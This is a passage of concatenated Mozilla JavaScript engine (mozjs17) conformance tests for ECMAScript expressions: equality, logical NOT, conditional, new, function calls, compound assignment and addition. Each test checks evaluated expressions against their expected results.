Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Infinity == NaN", false, Number.POSITIVE_INFINITY == Number.NaN ); // if x is the same number value as y, return true. new TestCase( SECTION, "Number.MAX_VALUE == Number.MAX_VALUE", true, Number.MAX_VALUE == Number.MAX_VALUE ); new TestCase( SECTION, "Number.MIN_VALUE == Number.MIN_VALUE", true, Number.MIN_VALUE == Number.MIN_VALUE ); new TestCase( SECTION, "Number.POSITIVE_INFINITY == Number.POSITIVE_INFINITY", true, Number.POSITIVE_INFINITY == Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY == Number.NEGATIVE_INFINITY", true, Number.NEGATIVE_INFINITY == Number.NEGATIVE_INFINITY ); // if xis 0 and y is -0, return true. if x is -0 and y is 0, return true. new TestCase( SECTION, "0 == 0", true, 0 == 0 ); new TestCase( SECTION, "0 == -0", true, 0 == -0 ); new TestCase( SECTION, "-0 == 0", true, -0 == 0 ); new TestCase( SECTION, "-0 == -0", true, -0 == -0 ); // return false. new TestCase( SECTION, "0.9 == 1", false, 0.9 == 1 ); new TestCase( SECTION, "0.999999 == 1", false, 0.999999 == 1 ); new TestCase( SECTION, "0.9999999999 == 1", false, 0.9999999999 == 1 ); new TestCase( SECTION, "0.9999999999999 == 1", false, 0.9999999999999 == 1 ); // type x and type y are the same type, but not numbers. // x and y are strings. return true if x and y are exactly the same sequence of characters. // otherwise, return false. new TestCase( SECTION, "'hello' == 'hello'", true, "hello" == "hello" ); // x and y are booleans. return true if both are true or both are false. new TestCase( SECTION, "true == true", true, true == true ); new TestCase( SECTION, "false == false", true, false == false ); new TestCase( SECTION, "true == false", false, true == false ); new TestCase( SECTION, "false == true", false, false == true ); // return true if x and y refer to the same object. otherwise return false. new TestCase( SECTION, "new MyObject(true) == new MyObject(true)", false, new MyObject(true) == new MyObject(true) ); new TestCase( SECTION, "new Boolean(true) == new Boolean(true)", false, new Boolean(true) == new Boolean(true) ); new TestCase( SECTION, "new Boolean(false) == new Boolean(false)", false, new Boolean(false) == new Boolean(false) ); new TestCase( SECTION, "x = new MyObject(true); y = x; z = x; z == y", true, eval("x = new MyObject(true); y = x; z = x; z == y") ); new TestCase( SECTION, "x = new MyObject(false); y = x; z = x; z == y", true, eval("x = new MyObject(false); y = x; z = x; z == y") ); new TestCase( SECTION, "x = new Boolean(true); y = x; z = x; z == y", true, eval("x = new Boolean(true); y = x; z = x; z == y") ); new TestCase( SECTION, "x = new Boolean(false); y = x; z = x; z == y", true, eval("x = new Boolean(false); y = x; z = x; z == y") ); new TestCase( SECTION, "new Boolean(true) == new Boolean(true)", false, new Boolean(true) == new Boolean(true) ); new TestCase( SECTION, "new Boolean(false) == new Boolean(false)", false, new Boolean(false) == new Boolean(false) ); // if x is null and y is undefined, return true. if x is undefined and y is null return true. new TestCase( SECTION, "null == void 0", true, null == void 0 ); new TestCase( SECTION, "void 0 == null", true, void 0 == null ); // if type(x) is Number and type(y) is string, return the result of the comparison x == ToNumber(y). new TestCase( SECTION, "1 == '1'", true, 1 == '1' ); new TestCase( SECTION, "255 == '0xff'", true, 255 == '0xff' ); new TestCase( SECTION, "0 == '\r'", true, 0 == "\r" ); new TestCase( SECTION, "1e19 == '1e19'", true, 1e19 == "1e19" ); new TestCase( SECTION, "new Boolean(true) == true", true, true == new Boolean(true) ); new TestCase( SECTION, "new MyObject(true) == true", true, true == new MyObject(true) ); new TestCase( SECTION, "new Boolean(false) == false", true, new Boolean(false) == false ); new TestCase( SECTION, "new MyObject(false) == false", true, new MyObject(false) == false ); new TestCase( SECTION, "true == new Boolean(true)", true, true == new Boolean(true) ); new TestCase( SECTION, "true == new MyObject(true)", true, true == new MyObject(true) ); new TestCase( SECTION, "false == new Boolean(false)", true, false == new Boolean(false) ); new TestCase( SECTION, "false == new MyObject(false)", true, false == new MyObject(false) ); test(); function MyObject( value ) { this.value = value; this.valueOf = new Function( "return this.value" ); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.4.9.js0000664000175000017500000000565412106270663021477 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.4.9.js ECMA Section: 11.4.9 Logical NOT Operator (!) Description: if the ToBoolean( VALUE ) result is true, return true. else return false. Author: christine@netscape.com Date: 7 july 1997 Static variables: none */ var SECTION = "11.4.9"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Logical NOT operator (!)"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "!(null)", true, !(null) ); new TestCase( SECTION, "!(var x)", true, !(eval("var x")) ); new TestCase( SECTION, "!(void 0)", true, !(void 0) ); new TestCase( SECTION, "!(false)", true, !(false) ); new TestCase( SECTION, "!(true)", false, !(true) ); new TestCase( SECTION, "!()", true, !(eval()) ); new TestCase( SECTION, "!(0)", true, !(0) ); new TestCase( SECTION, "!(-0)", true, !(-0) ); new TestCase( SECTION, "!(NaN)", true, !(Number.NaN) ); new TestCase( SECTION, "!(Infinity)", false, !(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "!(-Infinity)", false, !(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "!(Math.PI)", false, !(Math.PI) ); new TestCase( SECTION, "!(1)", false, !(1) ); new TestCase( SECTION, "!(-1)", false, !(-1) ); new TestCase( SECTION, "!('')", true, !("") ); new TestCase( SECTION, "!('\t')", false, !("\t") ); new TestCase( SECTION, "!('0')", false, !("0") ); new TestCase( SECTION, "!('string')", false, !("string") ); new TestCase( SECTION, "!(new String(''))", false, !(new String("")) ); new TestCase( SECTION, "!(new String('string'))", false, !(new String("string")) ); new TestCase( SECTION, "!(new String())", false, !(new String()) ); new TestCase( SECTION, "!(new Boolean(true))", false, !(new Boolean(true)) ); new TestCase( SECTION, "!(new Boolean(false))", false, !(new Boolean(false)) ); new TestCase( SECTION, "!(new Array())", false, !(new Array()) ); new TestCase( SECTION, "!(new Array(1,2,3)", false, !(new Array(1,2,3)) ); new TestCase( SECTION, "!(new Number())", false, !(new Number()) ); new TestCase( SECTION, "!(new Number(0))", false, !(new Number(0)) ); new TestCase( SECTION, "!(new Number(NaN))", false, !(new Number(Number.NaN)) ); new TestCase( SECTION, "!(new Number(Infinity))", false, !(new Number(Number.POSITIVE_INFINITY)) ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.12-3.js0000664000175000017500000000245612106270663021544 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.12-3.js ECMA Section: 11.12 Description: The grammar for a ConditionalExpression in ECMAScript is a little bit different from that in C and Java, which each allow the second subexpression to be an Expression but restrict the third expression to be a ConditionalExpression. The motivation for this difference in ECMAScript is to allow an assignment expression to be governed by either arm of a conditional and to eliminate the confusing and fairly useless case of a comma expression as the center expression. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.12-3"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Conditional operator ( ? : )"); // the following expression should NOT be an error in JS. new TestCase( SECTION, "var MYVAR = true ? ('FAIL1', 'PASSED') : 'FAIL2'; MYVAR", "PASSED", eval("var MYVAR = true ? ('FAIL1', 'PASSED') : 'FAIL2'; MYVAR")); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.3-1.js0000664000175000017500000000517412106270663021622 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.3-1.js ECMA Section: 11.2.3. Function Calls Description: The production CallExpression : MemberExpression Arguments is evaluated as follows: 1.Evaluate MemberExpression. 2.Evaluate Arguments, producing an internal list of argument values (section 0). 3.Call GetValue(Result(1)). 4.If Type(Result(3)) is not Object, generate a runtime error. 5.If Result(3) does not implement the internal [[Call]] method, generate a runtime error. 6.If Type(Result(1)) is Reference, Result(6) is GetBase(Result(1)). Otherwise, Result(6) is null. 7.If Result(6) is an activation object, Result(7) is null. Otherwise, Result(7) is the same as Result(6). 8.Call the [[Call]] method on Result(3), providing Result(7) as the this value and providing the list Result(2) as the argument values. 9.Return Result(8). The production CallExpression : CallExpression Arguments is evaluated in exactly the same manner, except that the contained CallExpression is evaluated in step 1. Note: Result(8) will never be of type Reference if Result(3) is a native ECMAScript object. Whether calling a host object can return a value of type Reference is implementation-dependent. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.3-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Function Calls"; writeHeaderToLog( SECTION + " "+ TITLE); /* this.eval() is no longer legal syntax. // MemberExpression : this new TestCase( SECTION, "this.eval()", void 0, this.eval() ); new TestCase( SECTION, "this.eval('NaN')", NaN, this.eval("NaN") ); */ // MemberExpression: Identifier var OBJECT = true; new TestCase( SECTION, "OBJECT.toString()", "true", OBJECT.toString() ); // MemberExpression[ Expression] new TestCase( SECTION, "(new Array())['length'].valueOf()", 0, (new Array())["length"].valueOf() ); // MemberExpression . Identifier new TestCase( SECTION, "(new Array()).length.valueOf()", 0, (new Array()).length.valueOf() ); // new MemberExpression Arguments new TestCase( SECTION, "(new Array(20))['length'].valueOf()", 20, (new Array(20))["length"].valueOf() ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.13.2-1.js0000664000175000017500000001574612106270663021711 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.13.2-1.js ECMA Section: 11.13.2 Compound Assignment: *= Description: *= /= %= += -= <<= >>= >>>= &= ^= |= 11.13.2 Compound assignment ( op= ) The production AssignmentExpression : LeftHandSideExpression @ = AssignmentExpression, where @ represents one of the operators indicated above, is evaluated as follows: 1. Evaluate LeftHandSideExpression. 2. Call GetValue(Result(1)). 3. Evaluate AssignmentExpression. 4. Call GetValue(Result(3)). 5. Apply operator @ to Result(2) and Result(4). 6. Call PutValue(Result(1), Result(5)). 7. Return Result(5). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.13.2-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Compound Assignment: *="); // NaN cases new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 *= VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 *= VAR2") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 *= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 *= VAR2; VAR1") ); // number cases new TestCase( SECTION, "VAR1 = 0; VAR2=1; VAR1 *= VAR2", 0, eval("VAR1 = 0; VAR2=1; VAR1 *= VAR2") ); new TestCase( SECTION, "VAR1 = 0; VAR2=1; VAR1 *= VAR2;VAR1", 0, eval("VAR1 = 0; VAR2=1; VAR1 *= VAR2;VAR1") ); new TestCase( SECTION, "VAR1 = 0xFF; VAR2 = 0xA, VAR1 *= VAR2", 2550, eval("VAR1 = 0XFF; VAR2 = 0XA, VAR1 *= VAR2") ); // special multiplication cases new TestCase( SECTION, "VAR1 = 0; VAR2= Infinity; VAR1 *= VAR2", Number.NaN, eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR1 *= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= Infinity; VAR1 *= VAR2", Number.NaN, eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR1 *= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -Infinity; VAR1 *= VAR2", Number.NaN, eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 *= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -Infinity; VAR1 *= VAR2", Number.NaN, eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 *= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= Infinity; VAR2 *= VAR1", Number.NaN, eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR2 *= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = -0; VAR2= Infinity; VAR2 *= VAR1", Number.NaN, eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR2 *= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -Infinity; VAR2 *= VAR1", Number.NaN, eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR2 *= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -Infinity; VAR2 *= VAR1", Number.NaN, eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR2 *= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = Infinity; VAR2= Infinity; VAR1 *= VAR2", Number.POSITIVE_INFINITY, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 *= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = Infinity; VAR2= -Infinity; VAR1 *= VAR2", Number.NEGATIVE_INFINITY, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 *= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 =-Infinity; VAR2= Infinity; VAR1 *= VAR2", Number.NEGATIVE_INFINITY, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 *= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 =-Infinity; VAR2=-Infinity; VAR1 *= VAR2", Number.POSITIVE_INFINITY, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 *= VAR2; VAR1") ); // string cases new TestCase( SECTION, "VAR1 = 10; VAR2 = '255', VAR1 *= VAR2", 2550, eval("VAR1 = 10; VAR2 = '255', VAR1 *= VAR2") ); new TestCase( SECTION, "VAR1 = '255'; VAR2 = 10, VAR1 *= VAR2", 2550, eval("VAR1 = '255'; VAR2 = 10, VAR1 *= VAR2") ); new TestCase( SECTION, "VAR1 = 10; VAR2 = '0XFF', VAR1 *= VAR2", 2550, eval("VAR1 = 10; VAR2 = '0XFF', VAR1 *= VAR2") ); new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 *= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 *= VAR2") ); new TestCase( SECTION, "VAR1 = '10'; VAR2 = '255', VAR1 *= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '255', VAR1 *= VAR2") ); new TestCase( SECTION, "VAR1 = '10'; VAR2 = '0XFF', VAR1 *= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '0XFF', VAR1 *= VAR2") ); new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 *= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 *= VAR2") ); // boolean cases new TestCase( SECTION, "VAR1 = true; VAR2 = false; VAR1 *= VAR2", 0, eval("VAR1 = true; VAR2 = false; VAR1 *= VAR2") ); new TestCase( SECTION, "VAR1 = true; VAR2 = true; VAR1 *= VAR2", 1, eval("VAR1 = true; VAR2 = true; VAR1 *= VAR2") ); // object cases new TestCase( SECTION, "VAR1 = new Boolean(true); VAR2 = 10; VAR1 *= VAR2;VAR1", 10, eval("VAR1 = new Boolean(true); VAR2 = 10; VAR1 *= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = 10; VAR1 *= VAR2; VAR1", 110, eval("VAR1 = new Number(11); VAR2 = 10; VAR1 *= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = new Number(10); VAR1 *= VAR2", 110, eval("VAR1 = new Number(11); VAR2 = new Number(10); VAR1 *= VAR2") ); new TestCase( SECTION, "VAR1 = new String('15'); VAR2 = new String('0xF'); VAR1 *= VAR2", 225, eval("VAR1 = String('15'); VAR2 = new String('0xF'); VAR1 *= VAR2") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.2-9-n.js0000664000175000017500000000432312106270663022057 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.2-9-n.js ECMA Section: 11.2.2. The new operator Description: MemberExpression: PrimaryExpression MemberExpression[Expression] MemberExpression.Identifier new MemberExpression Arguments new NewExpression The production NewExpression : new NewExpression is evaluated as follows: 1. Evaluate NewExpression. 2. Call GetValue(Result(1)). 3. If Type(Result(2)) is not Object, generate a runtime error. 4. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 5. Call the [[Construct]] method on Result(2), providing no arguments (that is, an empty list of arguments). 6. If Type(Result(5)) is not Object, generate a runtime error. 7. Return Result(5). The production MemberExpression : new MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Arguments, producing an internal list of argument values (section 0). 4. If Type(Result(2)) is not Object, generate a runtime error. 5. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 6. Call the [[Construct]] method on Result(2), providing the list Result(3) as the argument values. 7. If Type(Result(6)) is not Object, generate a runtime error. 8 .Return Result(6). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.2-9-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The new operator"; writeHeaderToLog( SECTION + " "+ TITLE); var BOOLEAN = new Boolean(); DESCRIPTION = "var BOOLEAN = new Boolean(); var b = new BOOLEAN()"; EXPECTED = "error"; new TestCase( SECTION, "var BOOLEAN = new Boolean(); var b = new BOOLEAN()", "error", eval("b = new BOOLEAN()") ); test(); function TestFunction() { return arguments; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.2-2-n.js0000664000175000017500000000430012106270663022043 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.2-2.js ECMA Section: 11.2.2. The new operator Description: MemberExpression: PrimaryExpression MemberExpression[Expression] MemberExpression.Identifier new MemberExpression Arguments new NewExpression The production NewExpression : new NewExpression is evaluated as follows: 1. Evaluate NewExpression. 2. Call GetValue(Result(1)). 3. If Type(Result(2)) is not Object, generate a runtime error. 4. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 5. Call the [[Construct]] method on Result(2), providing no arguments (that is, an empty list of arguments). 6. If Type(Result(5)) is not Object, generate a runtime error. 7. Return Result(5). The production MemberExpression : new MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Arguments, producing an internal list of argument values (section 0). 4. If Type(Result(2)) is not Object, generate a runtime error. 5. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 6. Call the [[Construct]] method on Result(2), providing the list Result(3) as the argument values. 7. If Type(Result(6)) is not Object, generate a runtime error. 8 .Return Result(6). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.2-2-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The new operator"; writeHeaderToLog( SECTION + " "+ TITLE); var UNDEFINED = void 0; DESCRIPTION = "UNDEFINED = void 0; var o = new UNDEFINED()"; EXPECTED = "error"; new TestCase( SECTION, "UNDEFINED = void 0; var o = new UNDEFINED()", "error", eval("o = new UNDEFINED()") ); test(); function TestFunction() { return arguments; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.2-10-n.js0000664000175000017500000000420712106270663022130 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.2-9-n.js ECMA Section: 11.2.2. The new operator Description: MemberExpression: PrimaryExpression MemberExpression[Expression] MemberExpression.Identifier new MemberExpression Arguments new NewExpression The production NewExpression : new NewExpression is evaluated as follows: 1. Evaluate NewExpression. 2. Call GetValue(Result(1)). 3. If Type(Result(2)) is not Object, generate a runtime error. 4. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 5. Call the [[Construct]] method on Result(2), providing no arguments (that is, an empty list of arguments). 6. If Type(Result(5)) is not Object, generate a runtime error. 7. Return Result(5). The production MemberExpression : new MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Arguments, producing an internal list of argument values (section 0). 4. If Type(Result(2)) is not Object, generate a runtime error. 5. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 6. Call the [[Construct]] method on Result(2), providing the list Result(3) as the argument values. 7. If Type(Result(6)) is not Object, generate a runtime error. 8 .Return Result(6). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.2-9-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The new operator"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var m = new Math()"; EXPECTED = "error"; new TestCase( SECTION, "var m = new Math()", "error", eval("m = new Math()") ); test(); function TestFunction() { return arguments; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.13.js0000664000175000017500000000363712106270663021407 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.12.js ECMA Section: 11.12 Conditional Operator Description: Logi calORExpression ? AssignmentExpression : AssignmentExpression Semantics The production ConditionalExpression : LogicalORExpression ? AssignmentExpression : AssignmentExpression is evaluated as follows: 1. Evaluate LogicalORExpression. 2. Call GetValue(Result(1)). 3. Call ToBoolean(Result(2)). 4. If Result(3) is false, go to step 8. 5. Evaluate the first AssignmentExpression. 6. Call GetValue(Result(5)). 7. Return Result(6). 8. Evaluate the second AssignmentExpression. 9. Call GetValue(Result(8)). 10. Return Result(9). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.12"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Conditional operator( ? : )"); new TestCase( SECTION, "true ? 'PASSED' : 'FAILED'", "PASSED", (true?"PASSED":"FAILED")); new TestCase( SECTION, "false ? 'FAILED' : 'PASSED'", "PASSED", (false?"FAILED":"PASSED")); new TestCase( SECTION, "1 ? 'PASSED' : 'FAILED'", "PASSED", (true?"PASSED":"FAILED")); new TestCase( SECTION, "0 ? 'FAILED' : 'PASSED'", "PASSED", (false?"FAILED":"PASSED")); new TestCase( SECTION, "-1 ? 'PASSED' : 'FAILED'", "PASSED", (true?"PASSED":"FAILED")); new TestCase( SECTION, "NaN ? 'FAILED' : 'PASSED'", "PASSED", (Number.NaN?"FAILED":"PASSED")); new TestCase( SECTION, "var VAR = true ? , : 'FAILED'", "PASSED", (VAR = true ? "PASSED" : "FAILED") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.2-1.js0000664000175000017500000000414612106270663021617 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.2-1.js ECMA Section: 11.2.2. The new operator Description: MemberExpression: PrimaryExpression MemberExpression[Expression] MemberExpression.Identifier new MemberExpression Arguments new NewExpression The production NewExpression : new NewExpression is evaluated as follows: 1. Evaluate NewExpression. 2. Call GetValue(Result(1)). 3. If Type(Result(2)) is not Object, generate a runtime error. 4. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 5. Call the [[Construct]] method on Result(2), providing no arguments (that is, an empty list of arguments). 6. If Type(Result(5)) is not Object, generate a runtime error. 7. Return Result(5). The production MemberExpression : new MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Arguments, producing an internal list of argument values (section 0). 4. If Type(Result(2)) is not Object, generate a runtime error. 5. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 6. Call the [[Construct]] method on Result(2), providing the list Result(3) as the argument values. 7. If Type(Result(6)) is not Object, generate a runtime error. 8 .Return Result(6). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.2-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The new operator"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "(new TestFunction(0,1,2,3,4,5)).length", 6, (new TestFunction(0,1,2,3,4,5)).length ); test(); function TestFunction() { return arguments; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.3-3-n.js0000664000175000017500000000366312106270663022060 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.3-3-n.js ECMA Section: 11.2.3. Function Calls Description: The production CallExpression : MemberExpression Arguments is evaluated as follows: 1.Evaluate MemberExpression. 2.Evaluate Arguments, producing an internal list of argument values (section 0). 3.Call GetValue(Result(1)). 4.If Type(Result(3)) is not Object, generate a runtime error. 5.If Result(3) does not implement the internal [[Call]] method, generate a runtime error. 6.If Type(Result(1)) is Reference, Result(6) is GetBase(Result(1)). Otherwise, Result(6) is null. 7.If Result(6) is an activation object, Result(7) is null. Otherwise, Result(7) is the same as Result(6). 8.Call the [[Call]] method on Result(3), providing Result(7) as the this value and providing the list Result(2) as the argument values. 9.Return Result(8). The production CallExpression : CallExpression Arguments is evaluated in exactly the same manner, except that the contained CallExpression is evaluated in step 1. Note: Result(8) will never be of type Reference if Result(3) is a native ECMAScript object. Whether calling a host object can return a value of type Reference is implementation-dependent. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.3-3-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Function Calls"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "(void 0).valueOf()"; EXPECTED = "error"; new TestCase( SECTION, "(void 0).valueOf()", "error", eval("(void 0).valueOf()") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.6.1-2.js0000664000175000017500000001341212106270663021617 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.6.1-2.js ECMA Section: 11.6.1 The addition operator ( + ) Description: The addition operator either performs string concatenation or numeric addition. The production AdditiveExpression : AdditiveExpression + MultiplicativeExpression is evaluated as follows: 1. Evaluate AdditiveExpression. 2. Call GetValue(Result(1)). 3. Evaluate MultiplicativeExpression. 4. Call GetValue(Result(3)). 5. Call ToPrimitive(Result(2)). 6. Call ToPrimitive(Result(4)). 7. If Type(Result(5)) is String or Type(Result(6)) is String, go to step 12. (Note that this step differs from step 3 in the algorithm for comparison for the relational operators in using or instead of and.) 8. Call ToNumber(Result(5)). 9. Call ToNumber(Result(6)). 10. Apply the addition operation to Result(8) and Result(9). See the discussion below (11.6.3). 11. Return Result(10). 12. Call ToString(Result(5)). 13. Call ToString(Result(6)). 14. Concatenate Result(12) followed by Result(13). 15. Return Result(14). Note that no hint is provided in the calls to ToPrimitive in steps 5 and 6. All native ECMAScript objects except Date objects handle the absence of a hint as if the hint Number were given; Date objects handle the absence of a hint as if the hint String were given. Host objects may handle the absence of a hint in some other manner. This test does only covers cases where the Additive or Mulplicative expression ToPrimitive is a string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.6.1-2"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The Addition operator ( + )"); // tests for boolean primitive, boolean object, Object object, a "MyObject" whose value is // a boolean primitive and a boolean object. new TestCase( SECTION, "var EXP_1 = 'string'; var EXP_2 = false; EXP_1 + EXP_2", "stringfalse", eval("var EXP_1 = 'string'; var EXP_2 = false; EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = true; var EXP_2 = 'string'; EXP_1 + EXP_2", "truestring", eval("var EXP_1 = true; var EXP_2 = 'string'; EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Boolean(true); var EXP_2 = new String('string'); EXP_1 + EXP_2", "truestring", eval("var EXP_1 = new Boolean(true); var EXP_2 = new String('string'); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new 